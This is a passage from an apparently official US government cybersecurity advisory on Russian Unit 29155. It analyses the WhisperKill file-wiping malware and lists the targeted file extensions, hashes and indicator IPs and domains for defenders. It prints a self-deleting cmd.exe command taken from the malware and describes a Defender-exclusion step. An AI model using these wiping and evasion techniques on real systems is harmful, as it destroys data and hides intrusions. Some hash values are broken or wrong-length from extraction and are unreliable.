The VBS code listed in **Table 22** used a WScript shell that executed as a Windows application, which ran a PowerShell command to exclude the C:\ drive from Windows Defender's security checks. Malware analysts decoded and decrypted one of the resources from `Frkmlkdkdubkznbkmcf.dll` (`78c855a088924e92a7f60d661c3d1845`). Further analysis of `Frkmlkdkdubkznbkmcf.dll` resulted in an additional DLL file with the following hashes:

- MD5: `5a537673c34933fc854fbfb65477a686`
- SHA-256: `35feefe6bd2b982cb1a5d4c1d094e8665c51752d0a6f7e3cae546d770c280f3a`

This decrypted DLL file contained two resources, `AdvancedRun` and `Waqybg`.

■ AdvancedRun (GZIP)

- › MD5: de85ca91e1e8100a619de1c25112f1a5
- › SHA-256: 489ab4819830d231c3fc3572c5386cad9d18773a8121373ea8174de981cc9166

■ Waqybg (GZIP)

- › Reversed byte order:

- › MD5: 9b1191f1ceddf312b0d609cd929c6631
- › SHA-256: 0dd61a16c625c49ffefaf4ce24cabf9a074028a06640d9bbb804f735ff56dfa3

- › Original byte order:

- › MD5: 29d83f29c0b0a0b7499e71e7d5cb713f
- › SHA-256: fd4a5398e55beacb2315687a75af5aa15b776b5d36b9800a1792ede3955616c2

**Table 23** and **Table 24** list the file properties for both the AdvancedRun and reversed Waqybg decompressed files.

**Table 23: AdvancedRun (decompressed)**

Type	Win32 EXE
Company	NirSoft
TimeStamp	2020:08:03 09:41:38-04:00
Original File Name	AdvancedRun.exe
MD5	17fc12902f4769af3a9271eb4e2dacce
SHA-256	29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

**Table 24: Waqybg (reversed; decompressed)**

Type	Win32 EXE
TimeStamp	2022:01:10 03:14:38-05:00
MD5	3907c7fdb4148395284d8e6e3c1dba5d
SHA-256	34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907
Compiler	MinGW(GCC: (GNU) 6.3.0)[-]
Linker	GNU linker ld (GNU Binutils)(2.28)[Console32,console]

The reversed and decompressed Waqybg files contained file corruption logic along with a final command to ping arbitrarily and delete itself: cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q "%s". Waqybg is known as WhisperKill—a malware downloaded by WhisperGate that destroys files with

specific extensions.[19 <<https://cert.gov.ua/article/18419>>],[21 <[https://www.trendmicro.com/en\\_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html](https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html)>]

The following file extensions listed in **Table 25** were targeted for file corruption with the equivalent of the “wcscmp” C function logic (a string compare function). The corruption logic included overwriting 0x100000 or 1 MB worth of 0xcc values per targeted file.

**Table 25: File Extensions Targeted by WhisperKill**

u".3DM"	u".3DS"	u".602"	u".ACCDB"	u".ARC"	u".ASC"
u".ASM"	u".ASP"	u".ASPX"	u".BACKUP"	u".BAK"	u".BAT"
u".BMP"	u".BRD"	u".BZ2"	u".CGM"	u".CLASS"	u".CMD"
u".CONFIG"	u".CPP"	u".CRT"	u".CSR"	u".CSV"	u".DBF"
u".DCH"	u".DER"	u".DIF"	u".DIP"	u".DJVU.SH"	u".DOC"
u".DOCB"	u".DOCM"	u".DOCM"	u".DOCX"	u".DOT"	u".DOTM"
u".DOTX"	u".DWG"	u".EDB"	u".EML"	u".FRM"	u".GIF"
u".HDD"	u".HTM"	u".HWP"	u".IBD"	u".INC"	u".INI"
u".ISO"	u".JAR"	u".JAVA"	u".JPEG"	u".JPG"	u".JSP"
u".KDBX"	u".KEY"	u".LAY"	u".LAY6"	u".LDF"	u".LOG"
u".MAX"	u".MDB"	u".MDF"	u".MML"	u".MSG"	u".MYD"
u".MYI"	u".NEF"	u".NVRAM"	u".ODB"	u".ODG"	u".ODP"
u".ODS"	u".ODT"	u".OGG"	u".ONETOC2"	u".OST"	u".OTG"
u".OTP"	u".OTS"	u".OTT"	u".P12"	u".PAQ"	u".PAS"
u".PDF"	u".PEM"	u".PFX"	u".PHP"	u".PHP3"	u".PHP4"
u".PHP5"	u".PHP6"	u".PHP7"	u".PHPS"	u".PHTML"	u".PNG"
u".POT"	u".POTM"	u".POTX"	u".PPAM"	u".PPK"	u".PPS"
u".PPSM"	u".PPSX"	u".PPT"	u".PPTM"	u".PPTM"	u".PPTX"
u".PS1"	u".PSD"	u".PST"	u".RAR"	u".RAW"	u".RTF"
u".SAV"	u".SCH"	u".SHTML"	u".SLDM"	u".SLDX"	u".SLK"

Give Feedback

u".SLN"	u".SNT"	u".SQ3"	u".SQL"	u".SQLITE3"	u".SQLITEDB"
u".STC"	u".STD"	u".STI"	u".STW"	u".SUO"	u".SVG"
u".SXC"	u".SXD"	u".SXI"	u".SXM"	u".SXW"	u".TAR"
u".TBK"	u".TGZ"	u".TIF"	u".TIFF"	u".TXT"	u".UOP"
u".UOT"	u".VBS"	u".VCD"	u".VDI"	u".VHD"	u".VMDK"
u".VMEM"	u".VMSD"	u".VMSN"	u".VMSS"	u".VMTM"	u".VMTX"
u".VMX"	u".VMXF"	u".VSD"	u".VSDX"	u".VSWP"	u".WAR"
u".WB2"	u".WK1"	u".WKS"	u".XHTML"	u".XLC"	u".XLM"
u".XLS"	u".XLSB"	u".XLSM"	u".XLSM"	u".XLSX"	u".XLT"
u".XLTM"	u".XLTX"	u".XLW"	u".YML"	u".ZIP"	

## Malware Related to Tbopbh.jpg

stage2.exe and its respective payload, Tbopbh.jpg, served as a template for other malware within Discord

Cluster 1. While most of these other malware files have not been observed in open source reporting, malware analysts assess them as payloads that follow the unravelling process listed in **Figure 1** below.

Give Feedback

Figure 1: stage2.exe Execution Process Template

**Table 26** below provides a list of MD5 hashes for files found within Discord Cluster 1. When reversed, these files become DLL files, which were structured similarly to `Frkmlkd़dkdubkznbkmcf.dll`.

**Note:** Analysts identified the files below in Discord Cluster 1; the files are staged on the Cluster in reversed byte order. Analysts reversed the file byte order for each file into their proper portable executable format, e.g., “Functional” format. The hashes in **Table 26** represent both byte orders.

**Table 26: Files Located in Discord Cluster 1**

Filename	MD5 (Reversed)	MD5 (Functional)
Afgyyppsysmtddvhaw.dll	d034fe4c71b16b6d331886c2 4fef2751	4074798a621232dc448b65d b7b1fdd66
Avbbwys.dll	422437f326b8dbe30cc5f103 bde31f26	7f84263fd24f783ff72d5ae91 011b558
Azkebvoyswvjnrpmn.dll	562c337b8caca330da2ea6ae 07ee5db6	f73d203bdf924658fd6edf34 44c93a50
Budoejokuqbge.dll	58e879213d81333b628434b a4aeb2751	08dfec04eb61c9a6d87b652 4c1c0f2e
Bwqdffttejlkeqe.dll	1c85c0d044ac837e8939564 afac1eb32	8633bd2bbbb5da22c3f87511 50186c42
Bxqbsyxfkjzmhdtfceoak.dll	7234da8ceafbe6586469f18c 03cc1832	5f4df6dd8e644d59eaf182e5 00b5e7bf
Clsrnpcbaucrabuobcpale.dll	618d62dd95fd9aeb855fe2ef1 403dce5	955e4c198ee58e40fe92cb74 ceefdf00
Cpdvzvzyghy.dll	d40195a444526eafb0db56d9 5bf8655d	a905d620717f75751aa94ceb 88995dbc
Ctiktdfyaujxfak.dll	d06761b2cff86035a4838110e d6ab622	2ca6bcf16ee4293a771a1cf7b 7b9ee49
Czxhayyankwsp.dll	59da31da4db1aa5f9a5c7c0c1 51422c8	de1bf141976776becd376a0da c400df6
Djpajq.dll	de1f9d1f0336ddcff832ad390 0acd2f1	974e7c0b3660fbf18f29eac05 9f85ac0
Dmdtflkcgebf.dll	394e056cb6cb732dfd5e0d4 5d3dae938	4d8343c40be53d6521244fe 74393d937
Ejcpaujkmvjndgqznimmkgd.dll	b7c1a8d39f46eaf52be90e24 565dd6b0	7a70d5fbafe3454b76e3ad2 f009618f

Give Feedback

Filename	MD5 (Reversed)	MD5 (Functional)
Encuutwvdqbxlxh.dll	2b39eab325906b0a3ab7e58 4c3d67349	df4f856f783d23fb01af1e0e6 4bc0e20
Esalfjyraquwfxcgufwzip.dll	80f0ee332a452172533ad88 63bb3bc63	f4f4e55a00d2f3a433c9e562 4285ac1c
Fdgofjdvmmlgsxunb.dll	9345425cf07b4c39a80cd85 40e08bfd	eef2363744345741e09fe538 0eeb4df3
Fkhzvcuuacprsibp.dll	aecb57e20d2c0b0d9fce2cb cbcc3459	4bce4831b1dd71f19c55b3e3b 5e99856
Fkthhyexkr.dll	58dc7c9577ff90a046359ca2 55c0c9f4	19cb20c4e7dbfe15c1aa28475 2d0fecb
Fqattuyxknkhv.dll	5c9e2195d10375b746b6717f db47b5b9	2b5f159f022109a8de1bc5dd9 e3138a0
Fqyubbzbubsge.dll	afbb9459d4a0f60d7ffb3b35 32d11bc2	8d3d4d702ba6b4be2766a41 bfe5ff76e
Frkmlkdkdubkznbkmcf.dll	b3370eb3c5ef6c536195b3be a0120929	e61518ae9454a563b8f84228 6bdbb87b
Gsiook.dll	a1b509254a0a1daa7e00d279 ec974461	0e03103e8110785156105946 e48ea9e0
Gutjuhi.dll	791a81f31a8e7090a7d541745 1e09efa	fba76f4eb2e7a2eb17193bebe 290a198
Hisvswmeswmnqbvzpozx.dll	e1a15bc13157134f542cd9c55 c742460	c9d1677f4f89b95b41591b23 a1dc1a63
Hsoahb.dll	cd62d4a178705b2b90a8babd 8613df93	032f5642d4fb2fdd74e6f20a1 3c57746
Icyjkszdzgoxdfuptykwxo.dll	f34f60375bebad861a35b7c4 bb0fa1c8	a66b3b22a3619f739b197d0d 443b700c
Jdfzavlqr.dll	7fe7f33d9b5dbdf3d032d2a1 0e39f283	8cef66b390f08bdbfd94092 2cf51650
Jrdggfvve.dll	b32e14a9b7de6c92cd16758f a6e23346	1220b580cef1bf22351e27177 3945d20
Jteieurqvgpgnhw.dll	b85538f665fdb6c8d9a74f2d f7369832	ffa68749aa3fc6495e2c49b01 d964339

[Give Feedback](#)

Filename	MD5 (Reversed)	MD5 (Functional)
Kbuqtmznmodjzvxvwxcvho.dll	869742fb9db71fdb66f00528fe2966ec	5b884f15dc9b072d7bbad9ec2b249f38
Kdmvyizz.dll	2128361d8aaaae1225d50c9add32006a1	9152c9de57b5647ee4ab3dff551dc8dd
Kfxghcmg.dll	56e0446a6d7175a0d09110bc483ddbed	fc418fdda06ce5982153766dcfb71d9
KrewcizfpLntbwCqawfhtfpd.dll	6a4fca88ee36fecc5113e188cc39d25c	5c3b0040e2dece6e17093ae607b79044
Lsurhpmpyehv.dll	143594597130e301499e5940a5fb798a	911c7e82f32f78577dc725a7adb114d
Mbkzrkfasxgxtzhpgsehip.dll	993f01861aff306df44e6475f7886f37	e4634ef9bfe7b598b857ad997445b239
Mhnovdgzzidqx.dll	64b9feeccf6c183b9f7138f8fc53acbb	7e0c42d33921a89724424f17c97037bd
Mlfampnfnmjvjnahkrawwqd.dll	ddec2d79f460a881849037336ba8968f	d973210977957209f255b58eb1715b12
Mppveiyannobrcdlkd.dll	9606b4720a0e73ef1f00505a11aab2f7	0adc2530cf348c0a3d53a680291a3d67
Mzhyeemgqbmmamubqn.dll	f772f5c65d65412f61ef5f2660e33ceb	f8ffd1eab6223e31b15d0fd6c3c0472e
Nbbudwt.dll	875f9200b49db08c33962b0a6bd05ab9	2e035360971a817b854d7d5a2b008717
Nhqcfzagulwaw.dll	fa97dbe84ce7717b754795fa89f13dce	601c12596dfa84c2113ae5ee59a52ec
Nlzhpvuzzoycqnnpl.dll	d8c04ecd646a1f8537a59f63518ef3c6	47f4534da421daf8089cf34d53f6bb6e
NoubvdigjlwsnqiyIzgikkk.dll	3bcff990faacb8fb470dfe03e2543	683546b9171a1ea284a96d1b45d1d823
Nvxwbzciqarteyuz.dll	c265188fdaddb648629e8060601dca7	af85885a74cfe099676af542dcdc5741
Nykfvwmchighqwcguabvgq.dll	8a2ba7f9cb6f65edf65dbe579907551e	673586594242d99ab02118595e457297

[Give Feedback](#)

Filename	MD5 (Reversed)	MD5 (Functional)
Ofgdwttmqibnmpqx.dll	9657c2ef6ed5229740b125df 9ca6c915	0dc5ac12f7690db15c99eaabc 11b129c
Ohtvepefcjnchrrasokn.dll	a5494ffd9efb7c3df59c52707 6a05e62	e2cc52273d56ed66c800a72 6760c1ed0
Olkscszculdbzvco.dll	85afdef18d65b0518d709a5a 324ea57a	77675a24040f10c85112d9a21 9d5f1c7
Onkwzkpfuqazvali.dll	da4d81f9ef3b25ea09f34481d 923dd9d	cc4a9db6f250114e26d8d9ba 6ab46bc9
Opaqwrazeyyilbbjlkf.dll	0e6374042b33d78329149a61 89a7cb46	1934e2ebc64d41e37ef53ea0 c075e974
Owxtabfdqhkaahhwsgkatuu.dll	d33f608f561096be24cba917 97e0da2f	332b7f6662e28e3577bd1b26 9904b940
Poezcjhvkzgmnyqljppte.dll	32db8abce1618e60441f5c7cf 4be0d22	2b2509c6ee46d6327f2f1c9a 75122d15
Rvyqctymumtudroyae.dll	dd2431b1f858b4ca14a4ea05f b8c4a06	9b2924c727aa3a061906321a 66c9050c
Sutragevr.dll	7d3b529db1bd896d9fd877b 85cafcd64	de276cf07ccffa18d7ffc35281 bca910
Sxkdxclqmxnmjgedhgagl.dll	6e1394938c2fecad2d4f5b3b cf357ec0	d6b41747cb035c4c2b08790c d57f0626
Tosyxesxgrzyb.dll	99305ce01cc2d0f58cd226ef b2de893f	6859fe5a3eed00a563cd93 efcc6ea96
Tpmnkauftdydomyz.dll	6c152774f6894407075e6f0a 2859bbae	981160dee6cd25fb181e54eca 7ff7c22
Tptjtwfhpsjfksqoajt.dll	343b140977b3f9b227e7e5f8 2b0fad5	95cf2a5a24b0d33d621bb899 5d5826bc
Tsgblplhdwwj.dll	54a9fa9eb337a3b5ca7b0fa4 553e439d	cee5acbfef7e76f52f40b8ae9 5199c50
Uqhznlcagzyoqrbyylnnwn.dll	4c19aeeecbfca13b8a199703d8 b8284b9	ad0ca738aa6c987e4ee1a87ff 2b8acd5
Uslrfkxccdyetfdxmaokbhv.dll	dc795cb9290b1bc0b7fb1ce9 d6ae7c93	552d9b79cc544fc6c3e8aa20 4dd00811

[Give Feedback](#)

Filename	MD5 (Reversed)	MD5 (Functional)
Waordspinyicerca.dll	9935a86108e3ae3f72cd1581 7601dcc6	5d063eeecd894d3d523875bc 82ef6f319
Wcfsobntsczz.dll	77aa3f342a0d69fda67c853b cc004d48	d0b00a6c83ce810ec2763af1 7e8ab1c4
Wpqyhvnfnunlabx.dll	03af632aa6f87bf9dd4364ee 3b612cbb	9f11e915be5c0d02a3130329c f032a28
Wqwpawlulyrsrjcbvuvddeud.dll	41871fef433d7b4b89fd226fe 3a1a2c0	e21fe98cc8866c0eeecf3549 ebcec751
Wqxpgvsgvhgymfbziucxcuh.dll	246d9f9831b125ea7e6ef21bc 4c8a0ca	dea3ae8225913dd98148fc86 cf3bcbe
Xgcprgxhchgwz.dll	9c695be3703194fdb71c212a 0832bcf3	8744cec7547b1e73705c10a2 64e28e08
Xgkepoc.dll	69e58c5ee69f5e5e8a58f4af dd59adfe	d43446b4a22a597b93b5598 21ee5ac9b
Xlfthpiq.dll	540ee8e39150c539fea582b0 e77be7b0	3fe96ff4a5ef0f5346ce645a2 a893597
Xlocky.dll	0a2affa6d895baab087b84e9 3145da35	246f31c86bbbe7f65c0126cf4 a1a947a
Xqlblktxmnxrzwiuqdfxzrd.dll	569c1d31f4c7ec7701d8e4e51 b59fe85	5eaa7e812733a5c8cda734fa b2f752d5
Xykqrksoqqgyuckfc.dll	09a2d85e809d36bff82bd5ab 773980a3	96964aed18f65a7acae632f3 58a093f6
Yawyjonk.dll	3ccf799ff208981349cee4fb1 a1cf88c	4e9c55c6fe25d61ca4394de7 94546fab
Yrknbt.dll	6154760e602bd71192d93f72f bdb486e	94bf96b76c2a092de896249 6ce35deaf
Yvbmuiufighprdxgiirp.dll	b0d0a23766fa64ece9315f37 b28bb4c0	1e22d64f263e8ea4b2d37dcd 9b7c3012
Ywrovttimixpmizuln.dll	ca43a241042b5fcc30539376 5ae18e69	28d571ddb5c04d065dfe1be9 604663ba
Zfgdccnwnee.dll	251f3a4757d9e4de0499cc30 c0bc00a9	755dac7edd17fbf5b5c449dd 06c02e14

[Give Feedback](#)

Filename	MD5 (Reversed)	MD5 (Functional)
Zkuxhxwbvifejn.dll	9d7ab8b0aa669125d9a5adc 4f46c56f3	af277ae0fbf6cc20f887696ea 4756d46
Zsdflpivel.dll	a9c9c0be8eca3b575c24da0f cf1af1a9	1cac5c0cb8801e8730447023 270d8d56

## Appendix B: Indicators of Compromise

**Table 27** lists observed IP addresses that were first observed as early as 2022 and have been historically linked to Unit 29155 infrastructure. These IPs are considered historical infrastructure and should be investigated for associated abnormal or malicious activity.

*Table 27: IP Addresses Associated with Unit 29155 Infrastructure*

IP Address
5.226.139[.]66
45.141.87[.]11
46.101.242[.]222
62.173.140[.]223
79.124.8[.]66
90.131.156[.]107
112.51.253[.]153
112.132.218[.]45
154.21.20[.]82
179.43.133[.]202
179.43.142[.]42
179.43.162[.]55
179.43.175[.]38
179.43.175[.]108 (data exfiltration site)
179.43.176[.]60

Give Feedback

IP Address
179.43.187[.]47
179.43.189[.]218
185.245.84[.]227
185.245.85[.]251
194.26.29[.]84
194.26.29[.]95
194.26.29[.]98
194.26.29[.]251

Threat actors can exploit jump hosts, also known as jump servers or bastion hosts, to gain unauthorized access or perform malicious activities within a protected network. In this context, the domains listed in **Table 28** represent the tools used to establish functionality for creating a jump host.

**Table 28: Domains Hosting Jump Host Tooling**

Domain Name
interlinks[.]top
https://3proxy[.]ru
https://ngrok[.]com ( <b>Note:</b> This domain is a legitimate service leveraged for malicious purposes by Unit 29155 cyber actors and should be investigated prior to blocking.)
https://nssm[.]cc

This product is provided subject to this [Notification </notification>](#) and this [Privacy & Use </privacy-policy>](#) policy.

Give Feedback

## Tags

**Co-Sealers and Partners:** Federal Bureau of Investigation, International, National Security Agency

**MITRE ATT&CK TTP:** Collection (TA0009), Command and Control (TA0011), Credential Access (TA0006), Discovery (TA0007), Execution (TA0002), Exfiltration (TA0010), Impact (TA0040), Initial Access (TA0001), Lateral Movement (TA0008), Persistence (TA0003), Reconnaissance (TA0043), Resource Development (TA0042)

**Nation-State Actor:** Russia

**Topics:** Critical Infrastructure Security and Resilience </topics/critical-infrastructure-security-and-resilience>, Cyber Threats and Advisories </topics/cyber-threats-and-advisories>, Cybersecurity Best Practices </topics/cybersecurity-best-practices>, Incident Detection, Response, and Prevention </topics/cyber-threats-and-advisories/incident-detection-response-and-prevention>, Malware, Phishing, and Ransomware </topics/cyber-threats-and-advisories/malware-phishing-and-ransomware>, Nation-State Threats </topics/cyber-threats-and-advisories/nation-state-cyber-actors>



## Please share your thoughts

We recently updated our anonymous [product survey](#); we welcome your feedback.

## Related Advisories

SEP 23, 2025 ■ CYBERSECURITY ADVISORY | AA25-266A

[CISA Shares Lessons Learned from an Incident Response Engagement](#) </news-events/cybersecurity-advisories/aa25-266a>

JUL 31, 2025 ■ CYBERSECURITY ADVISORY | AA25-212A

[CISA and USCG Identify Areas for Cyber Hygiene Improvement After Conducting Proactive Threat Hunt at US Critical Infrastructure Organization](#) </news-events/cybersecurity-advisories/aa25-212a>

AUG 27, 2025 ■ CYBERSECURITY ADVISORY | AA25-239A

[Countering Chinese State-Sponsored Actors Compromise of Networks Worldwide to Feed Global Espionage System](#) </news-events/cybersecurity-advisories/aa25-239a>

JUL 22, 2025 ■ CYBERSECURITY ADVISORY | AA25-203A

[#StopRansomware: Interlock](#) </news-events/cybersecurity-advisories/aa25-203a>

Give Feedback

[Return to top](#)

[Topics](#) </topics>

[Spotlight](#) </spotlight>

[Resources & Tools](#) </resources-tools>

[News & Events](#) </news-events>

[Careers](#) </careers>

[About](#) </about>



## CYBERSECURITY & INFRASTRUCTURE SECURITY AGENCY



**CISA Central**

1-844-Say-CISA contact@cisa.dhs.gov



CISA.gov

An official website of the U.S. Department of Homeland Security

[About CISA](#) </about>

[Budget and Performance](#)

[DHS.gov](#) <<https://www.dhs.gov>>

<<https://www.dhs.gov/performance-financial-reports>>

[FOIA Requests](#) <<https://www.dhs.gov/foia>>

[No FEAR Act](#) </no-fear-act>

[Office of Inspector General](#)

<<https://www.oig.dhs.gov/>>

[Privacy Policy](#) </privacy-policy>

[Subscribe](#)

[The White House](#) <<https://www.whitehouse.gov/>>

[USA.gov](#) <<https://www.usa.gov/>>

[Website Feedback](#) </forms/feedback>

Give Feedback